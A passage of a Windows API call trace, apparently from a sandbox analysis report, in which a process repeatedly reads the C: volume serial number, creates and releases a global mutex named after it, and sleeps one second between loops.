lpDst=0x2b87e00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0260.356] GetProcessHeap () returned 0x560000 [0260.356] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0260.356] GetProcessHeap () returned 0x560000 [0260.356] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0260.356] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0260.358] GetProcessHeap () returned 0x560000 [0260.358] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0260.358] GetProcessHeap () returned 0x560000 [0260.358] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0260.358] GetProcessHeap () returned 0x560000 [0260.358] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0260.358] GetProcessHeap () returned 0x560000 [0260.358] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0260.358] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0260.358] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x204 [0260.358] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x0 [0260.359] GetProcessHeap () returned 0x560000 [0260.359] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0260.359] GetProcessHeap () returned 0x560000 [0260.359] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0260.359] ReleaseMutex (hMutex=0x204) returned 1 [0260.359] CloseHandle (hObject=0x204) returned 1 [0260.359] Sleep (dwMilliseconds=0x3e8) [0261.574] GetProcessHeap () returned 0x560000 [0261.574] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87e00 [0261.574] GetProcessHeap () returned 0x560000 [0261.574] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87c70 [0261.574] GetProcessHeap () returned 0x560000 [0261.574] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0261.574] GetProcessHeap () returned 0x560000 [0261.574] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x65ff50 [0261.574] GetProcessHeap () returned 0x560000 [0261.574] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ff50 | out: hHeap=0x560000) returned 1 [0261.575] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87c70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0261.575] GetProcessHeap () returned 0x560000 [0261.575] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0261.575] GetProcessHeap () returned 0x560000 [0261.575] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0261.575] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0261.576] GetProcessHeap () returned 0x560000 [0261.576] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0261.576] GetProcessHeap () returned 0x560000 [0261.576] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0261.576] GetProcessHeap () returned 0x560000 [0261.576] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0261.576] GetProcessHeap () returned 0x560000 [0261.576] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0261.576] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0261.576] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xe0 [0261.576] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x0) returned 0x0 [0261.576] GetProcessHeap () returned 0x560000 [0261.576] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0261.577] GetProcessHeap () returned 0x560000 [0261.577] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0261.577] ReleaseMutex (hMutex=0xe0) returned 1 [0261.577] CloseHandle (hObject=0xe0) returned 1 [0261.577] Sleep (dwMilliseconds=0x3e8) [0262.612] GetProcessHeap () returned 0x560000 [0262.612] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87c70 [0262.612] GetProcessHeap () returned 0x560000 [0262.612] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87e00 [0262.612] GetProcessHeap () returned 0x560000 [0262.612] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0262.612] GetProcessHeap () returned 0x560000 [0262.612] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x65ff50 [0262.612] GetProcessHeap () returned 0x560000 [0262.612] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ff50 | out: hHeap=0x560000) returned 1 [0262.613] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87e00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0262.613] GetProcessHeap () returned 0x560000 [0262.613] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0262.613] GetProcessHeap () returned 0x560000 [0262.613] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0262.613] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0262.615] GetProcessHeap () returned 0x560000 [0262.615] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0262.615] GetProcessHeap () returned 0x560000 [0262.615] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0262.615] GetProcessHeap () returned 0x560000 [0262.615] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0262.615] GetProcessHeap () returned 0x560000 [0262.615] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0262.615] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0262.616] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xe0 [0262.617] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x0) returned 0x0 [0262.618] GetProcessHeap () returned 0x560000 [0262.618] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0262.618] GetProcessHeap () returned 0x560000 [0262.618] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0262.618] ReleaseMutex (hMutex=0xe0) returned 1 [0262.619] CloseHandle (hObject=0xe0) returned 1 [0262.620] Sleep (dwMilliseconds=0x3e8) [0263.728] GetProcessHeap () returned 0x560000 [0263.728] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87e00 [0263.728] GetProcessHeap () returned 0x560000 [0263.728] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87c70 [0263.728] GetProcessHeap () returned 0x560000 [0263.728] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0263.728] GetProcessHeap () returned 0x560000 [0263.728] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x65ff50 [0263.728] GetProcessHeap () returned 0x560000 [0263.728] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ff50 | out: hHeap=0x560000) returned 1 [0263.728] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87c70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0263.728] GetProcessHeap () returned 0x560000 [0263.728] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0263.728] GetProcessHeap () returned 0x560000 [0263.728] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0263.729] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0263.729] GetProcessHeap () returned 0x560000 [0263.729] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0263.729] GetProcessHeap () returned 0x560000 [0263.729] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0263.730] GetProcessHeap () returned 0x560000 [0263.730] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0263.730] GetProcessHeap () returned 0x560000 [0263.730] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0263.730] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0263.730] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xe0 [0263.730] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x0) returned 0x0 [0263.730] GetProcessHeap () returned 0x560000 [0263.730] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0263.731] GetProcessHeap () returned 0x560000 [0263.731] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0263.731] ReleaseMutex (hMutex=0xe0) returned 1 [0263.731] CloseHandle (hObject=0xe0) returned 1 [0263.731] Sleep (dwMilliseconds=0x3e8) [0264.775] GetProcessHeap () returned 0x560000 [0264.775] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87c70 [0264.775] GetProcessHeap () returned 0x560000 [0264.775] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87e00 [0264.775] GetProcessHeap () returned 0x560000 [0264.775] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0264.775] GetProcessHeap () returned 0x560000 [0264.775] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x65ff50 [0264.775] GetProcessHeap () returned 0x560000 [0264.775] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ff50 | out: hHeap=0x560000) returned 1 [0264.776] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87e00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0264.776] GetProcessHeap () returned 0x560000 [0264.776] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0264.776] GetProcessHeap () returned 0x560000 [0264.776] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0264.776] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0264.777] GetProcessHeap () returned 0x560000 [0264.777] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0264.777] GetProcessHeap () returned 0x560000 [0264.777] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0264.777] GetProcessHeap () returned 0x560000 [0264.777] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0264.777] GetProcessHeap () returned 0x560000 [0264.777] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0264.777] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0264.777] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xe0 [0264.777] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x0) returned 0x0 [0264.778] GetProcessHeap () returned 0x560000 [0264.778] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0264.778] GetProcessHeap () returned 0x560000 [0264.778] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0264.778] ReleaseMutex (hMutex=0xe0) returned 1 [0264.778] CloseHandle (hObject=0xe0) returned 1 [0264.778] Sleep (dwMilliseconds=0x3e8) [0265.883] GetProcessHeap () returned 0x560000 [0265.883] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87e00 [0265.883] GetProcessHeap () returned 0x560000 [0265.883] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87dd8 [0265.883] GetProcessHeap () returned 0x560000 [0265.883] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c48 [0265.883] GetProcessHeap () returned 0x560000 [0265.883] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b87a58 [0265.883] GetProcessHeap () returned 0x560000 [0265.883] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87a58 | out: hHeap=0x560000) returned 1 [0265.883] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0265.884] GetProcessHeap () returned 0x560000 [0265.884] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c48 | out: hHeap=0x560000) returned 1 [0265.884] GetProcessHeap () returned 0x560000 [0265.884] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0265.884] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0265.885] GetProcessHeap () returned 0x560000 [0265.885] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0265.885] GetProcessHeap () returned 0x560000 [0265.885] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0265.885] GetProcessHeap () returned 0x560000 [0265.885] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0265.885] GetProcessHeap () returned 0x560000 [0265.885] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0265.885] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0265.885] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xe0 [0265.885] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x0) returned 0x0 [0265.886] GetProcessHeap () returned 0x560000 [0265.886] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0265.886] GetProcessHeap () returned 0x560000 [0265.886] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0265.886] ReleaseMutex (hMutex=0xe0) returned 1 [0265.886] CloseHandle (hObject=0xe0) returned 1 [0265.886] Sleep (dwMilliseconds=0x3e8) [0268.194] GetProcessHeap () returned 0x560000 [0268.194] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87dd8 [0268.194] GetProcessHeap () returned 0x560000 [0268.194] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87e00 [0268.194] GetProcessHeap () returned 0x560000 [0268.194] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c48 [0268.194] GetProcessHeap () returned 0x560000 [0268.194] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74208 [0268.194] GetProcessHeap () returned 0x560000 [0268.194] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74208 | out: hHeap=0x560000) returned 1 [0268.194] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87e00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0268.194] GetProcessHeap () returned 0x560000 [0268.194] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c48 | out: hHeap=0x560000) returned 1 [0268.194] GetProcessHeap () returned 0x560000 [0268.194] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0268.194] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0268.195] GetProcessHeap () returned 0x560000 [0268.195] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0268.195] GetProcessHeap () returned 0x560000 [0268.195] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0268.195] GetProcessHeap () returned 0x560000 [0268.196] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0268.196] GetProcessHeap () returned 0x560000 [0268.196] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0268.196] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0268.196] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xe0 [0268.196] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x0) returned 0x0 [0268.196] GetProcessHeap () returned 0x560000 [0268.196] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0268.196] GetProcessHeap () returned 0x560000 [0268.196] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0268.196] ReleaseMutex (hMutex=0xe0) returned 1 [0268.197] CloseHandle (hObject=0xe0) returned 1 [0268.197] Sleep (dwMilliseconds=0x3e8) [0269.782] GetProcessHeap () returned 0x560000 [0269.782] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a788 [0269.782] GetProcessHeap () returned 0x560000 [0269.782] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a468 [0269.782] GetProcessHeap () returned 0x560000 [0269.782] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0269.782] GetProcessHeap () returned 0x560000 [0269.782] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74208 [0269.782] GetProcessHeap () returned 0x560000 [0269.782] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74208 | out: hHeap=0x560000) returned 1 [0269.782] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a468, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0269.782] GetProcessHeap () returned 0x560000 [0269.782] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0269.782] GetProcessHeap () returned 0x560000 [0269.783] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a788 | out: hHeap=0x560000) returned 1 [0269.783] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0269.783] GetProcessHeap () returned 0x560000 [0269.783] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0269.783] GetProcessHeap () returned 0x560000 [0269.783] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5742c8 [0269.783] GetProcessHeap () returned 0x560000 [0269.784] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5743a0 [0269.784] GetProcessHeap () returned 0x560000 [0269.784] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5743a0, Size=0x72) returned 0x56ff20 [0269.784] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0269.784] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0269.784] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0269.784] GetProcessHeap () returned 0x560000 [0269.784] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5742c8 | out: hHeap=0x560000) returned 1 [0269.784] GetProcessHeap () returned 0x560000 [0269.784] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0269.785] ReleaseMutex (hMutex=0x1e0) returned 1 [0269.785] CloseHandle (hObject=0x1e0) returned 1 [0269.785] Sleep (dwMilliseconds=0x3e8) [0271.680] GetProcessHeap () returned 0x560000 [0271.680] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a468 [0271.681] GetProcessHeap () returned 0x560000 [0271.681] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a788 [0271.681] GetProcessHeap () returned 0x560000 [0271.681] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0271.681] GetProcessHeap () returned 0x560000 [0271.681] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74208 [0271.681] GetProcessHeap () returned 0x560000 [0271.681] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74208 | out: hHeap=0x560000) returned 1 [0271.681] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a788, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0271.681] GetProcessHeap () returned 0x560000 [0271.681] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0271.681] GetProcessHeap () returned 0x560000 [0271.681] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0271.681] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0271.682] GetProcessHeap () returned 0x560000 [0271.683] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a788 | out: hHeap=0x560000) returned 1 [0271.683] GetProcessHeap () returned 0x560000 [0271.683] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5742c8 [0271.683] GetProcessHeap () returned 0x560000 [0271.683] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5743a0 [0271.683] GetProcessHeap () returned 0x560000 [0271.683] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5743a0, Size=0x72) returned 0x56ff20 [0271.683] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0271.683] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x128 [0271.684] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x0) returned 0x0 [0271.684] GetProcessHeap () returned 0x560000 [0271.684] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5742c8 | out: hHeap=0x560000) returned 1 [0271.684] GetProcessHeap () returned 0x560000 [0271.684] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0271.684] ReleaseMutex (hMutex=0x128) returned 1 [0271.684] CloseHandle (hObject=0x128) returned 1 [0271.684] Sleep (dwMilliseconds=0x3e8) [0273.070] GetProcessHeap () returned 0x560000 [0273.070] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a788 [0273.070] GetProcessHeap () returned 0x560000 [0273.070] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a468 [0273.071] GetProcessHeap () returned 0x560000 [0273.071] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0273.071] GetProcessHeap () returned 0x560000 [0273.071] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74208 [0273.071] GetProcessHeap () returned 0x560000 [0273.071] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74208 | out: hHeap=0x560000) returned 1 [0273.072] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a468, nSize=0xf | out: 